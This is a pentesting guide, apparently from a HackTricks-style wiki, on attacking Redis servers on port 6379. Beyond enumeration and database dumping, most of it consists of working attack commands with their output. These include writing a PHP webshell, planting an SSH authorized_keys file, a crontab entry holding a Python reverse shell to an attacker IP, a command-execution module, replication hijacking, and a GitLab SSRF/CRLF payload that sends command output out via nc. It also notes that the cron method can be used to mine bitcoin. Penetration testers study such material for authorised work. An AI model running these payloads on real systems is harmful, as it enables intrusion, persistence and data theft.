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244 lines
12 KiB
Markdown
244 lines
12 KiB
Markdown
# 6379 - Pentesting Redis
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## Basic Information
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Redis is an open source \(BSD licensed\), in-memory **data structure store**, used as a **database**, cache and message broker \(from [here](https://redis.io/topics/introduction)\). By default and commonly Redis uses a plain-text based protocol, but you have to keep in mind that it can also implement **ssl/tls**. Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md).
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**Default port:** 6379
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```text
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PORT STATE SERVICE VERSION
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6379/tcp open redis Redis key-value store 4.0.9
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```
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## Automatic Enumeration
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Some automated tools that can help to obtain info from a redis instance:
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```bash
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nmap --script redis-info -sV -p 6379 <IP>
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msf> use auxiliary/scanner/redis/redis_server
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```
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## Manual Enumeration
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### Banner
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Redis is a **text based protocol**, you can just **send the command in a socket** and the returned values will be readable. Also remember that Redis can run using **ssl/tls** \(but this is very weird\).
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In a regular Redis instance you can just connect using `nc` or you could also use `redis-cli`:
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```bash
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nc -vn 10.10.10.10 6379
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redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
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```
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The **first command** you could try is **`info`**. It **may return output with information** of the Redis instance **or something** like the following is returned:
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```text
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-NOAUTH Authentication required.
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```
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In this last case, this means that **you need valid credentials** to access the Redis instance.
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### Redis Authentication
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**By default** Redis can be accessed **without credentials**. However, it can be **configured** to support **only password, or username + password**.
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It is possible to **set a password** in _**redis.conf**_ file with the parameter `requirepass` **or temporary** until the service restarts connecting to it and running: `config set requirepass p@ss$12E45`.
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Also, a **username** can be configured in the parameter `masteruser` inside the _**redis.conf**_ file.
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{% hint style="info" %}
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If only password is configured the username used is "**default**".
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Also, note that there is **no way to find externally** if Redis was configured with only password or username+password.
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{% endhint %}
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In cases like this one you will **need to find valid credentials** to interact with Redis so you could try to [**brute-force**](../brute-force.md#redis) ****it.
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In case you found valid credentials you need to **authenticate the session** after establishing the connection with the command:
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```bash
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AUTH <username> <password>
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```
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**Valid credentials** will be responded with: `+OK`
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### **Authenticated enumeration**
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If the Redis instance is accepting **anonymous** connections or you found some **valid credentials**, you can **start enumerating** the service with the following commands:
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```bash
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INFO
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[ ... Redis response with info ... ]
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client list
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[ ... Redis response with connected clients ... ]
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CONFIG GET *
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[ ... Get config ... ]
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```
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**Other Redis commands** [**can be found here**](https://redis.io/topics/data-types-intro) **and** [**here**](https://lzone.de/cheat-sheet/Redis)**.**
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Note that the **Redis commands of an instance can be renamed** or removed in the _redis.conf_ file. For example this line will remove the command FLUSHDB:
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```text
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rename-command FLUSHDB ""
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```
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More about configuring securely a Redis service here: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
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You can also **monitor in real time the Redis commands** executed with the command **`monitor`** or get the top **25 slowest queries** with **`slowlog get 25`**
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Find more interesting information about more Redis commands here: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
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### **Dumping Database**
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Inside Redis the **databases are numbers starting from 0**. You can find if anyone is used in the output of the command `info` inside the "Keyspace" chunk:
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In that example the **database 0 and 1** are being used. **Database 0 contains 4 keys and database 1 contains 1**. By default Redis will use database 0. In order to dump for example database 1 you need to do:
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```bash
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SELECT 1
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[ ... Indicate the database ... ]
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KEYS *
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[ ... Get Keys ... ]
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GET <KEY>
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[ ... Get Key ... ]
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```
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**Dump the database with npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **or python** [**redis-utils**](https://pypi.org/project/redis-utils/)\*\*\*\*
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## Redis RCE
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### Webshell
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From: [http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html](http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)
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You must know the **path** of the **Web site folder**:
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```text
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root@Urahara:~# redis-cli -h 10.85.0.52
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10.85.0.52:6379> config set dir /usr/share/nginx/html
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OK
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10.85.0.52:6379> config set dbfilename redis.php
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OK
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10.85.0.52:6379> set test "<?php phpinfo(); ?>"
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OK
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10.85.0.52:6379> save
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OK
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```
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If the webshell access exception, you can empty the database after backup and try again, remember to restore the database.
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### SSH
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In the output of **`config get *`** you could find the **home** of the **redis user** \(usually _/var/lib/redis_ or _/home/redis/.ssh_\), and knowing this you know where you can write the `authenticated_users` file to access via ssh **with the user redis**. If you know the home of other valid user where you have writable permissions you can also abuse it:
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1. Generate a ssh public-private key pair on your pc: **`ssh-keygen -t rsa`**
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2. Write the public key to a file : **`(echo -e "\n\n"; cat ./.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt`**
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3. Import the file into redis : **`cat foo.txt | redis-cli -h 10.85.0.52 -x set crackit`**
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4. Save the public key to the **authorized\_keys** file on redis server:
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```text
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root@Urahara:~# redis-cli -h 10.85.0.52
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10.85.0.52:6379> config set dir /home/test/.ssh/
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OK
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10.85.0.52:6379> config set dbfilename "authorized_keys"
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OK
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10.85.0.52:6379> save
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OK
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```
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5. Finally, you can **ssh** to the **redis server** with private key : **ssh -i id\_rsa test@10.85.0.52**
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**This technique is automated here:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
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### Crontab
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```text
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root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
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OK
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root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
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OK
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root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
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OK
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root@Urahara:~# redis-cli -h 10.85.0.52 save
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OK
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```
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The last exampleis for Ubuntu, for **Centos**, the above command should be: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
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This method can also be used to earn bitcoin ：[yam](https://www.v2ex.com/t/286981#reply14)
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### Load Redis Module
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1. Following the instructions from [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) you can **compile a redis module to execute arbitrary commands**.
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2. Then you need some way to **upload the compiled** module
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3. **Load the uploaded module** at runtime with `MODULE LOAD /path/to/mymodule.so`
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4. **List loaded modules** to check it was correctly loaded: `MODULE LIST`
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5. **Execute** **commands**:
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```text
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127.0.0.1:6379> system.exec "id"
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"uid=0(root) gid=0(root) groups=0(root)\n"
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127.0.0.1:6379> system.exec "whoami"
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"root\n"
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127.0.0.1:6379> system.rev 127.0.0.1 9999
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```
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6. Unload the module whenever you want: `MODULE UNLOAD mymodule`
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### LUA sandbox bypass
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[**Here**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) you can see that Redis uses the command **EVAL** to execute **Lua code sandboxed**. In the linked post you can see **how to abuse it** using the **dotfile** function, but [apparently](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) this isn't no longer possible. Anyway, if you can **bypass the Lua** sandbox you could **execute arbitrary** commas on the system. Also, from the same post you can see some **options to cause DoS**.
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### Master-Slave Module
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The master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis.
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```text
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master redis : 10.85.0.51 (Hacker's Server)
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slave redis : 10.85.0.52 (Target Vulnerability Server)
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A master-slave connection will be established from the slave redis and the master redis:
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redis-cli -h 10.85.0.52 -p 6379
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slaveof 10.85.0.51 6379
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Then you can login to the master redis to control the slave redis:
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redis-cli -h 10.85.0.51 -p 6379
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set mykey hello
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set mykey2 helloworld
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```
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## SSRF talking to Redis
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If you can send **clear text** request **to Redis**, you can **communicate with it** as Redis will read line by line the request and just respond with errors to the lines it doesn't understand:
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```text
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-ERR wrong number of arguments for 'get' command
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-ERR unknown command 'Host:'
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-ERR unknown command 'Accept:'
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-ERR unknown command 'Accept-Encoding:'
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-ERR unknown command 'Via:'
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-ERR unknown command 'Cache-Control:'
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-ERR unknown command 'Connection:'
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```
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Therefore, if you find a **SSRF vuln** in a website and you can **control** some **headers** \(maybe with a CRLF vuln\) or **POST parameters**, you will be able to send arbitrary commands to Redis.
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### Example: Gitlab SSRF + CRLF to Shell
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In **Gitlab11.4.7** were discovered a **SSRF** vulnerability and a **CRLF**. The **SSRF** vulnerability was in the **import project from URL functionality** when creating a new project and allowed to access arbitrary IPs in the form \[0:0:0:0:0:ffff:127.0.0.1\] \(this will access 127.0.0.1\), and the **CRLF** vuln was exploited just **adding %0D%0A** characters to the **URL**.
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Therefore, it was possible to **abuse these vulnerabilities to talk to the Redis instance** that **manages queues** from **gitlab** and abuse those queues to **obtain code execution**. The Redis queue abuse payload is:
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```text
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multi
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sadd resque:gitlab:queues system_hook_push
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lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
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exec
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```
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And the **URL encode** request **abusing SSRF** and **CRLF** to execute a `whoami` and send back the output via `nc` is:
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```text
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git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
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```
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_For some reason \(as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from\) the exploitation worked with the `git` scheme and not with the `http` scheme._
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